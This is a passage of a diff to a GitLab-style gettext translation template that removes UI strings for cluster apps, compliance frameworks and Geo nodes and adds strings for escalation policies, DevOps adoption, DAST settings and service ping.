msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
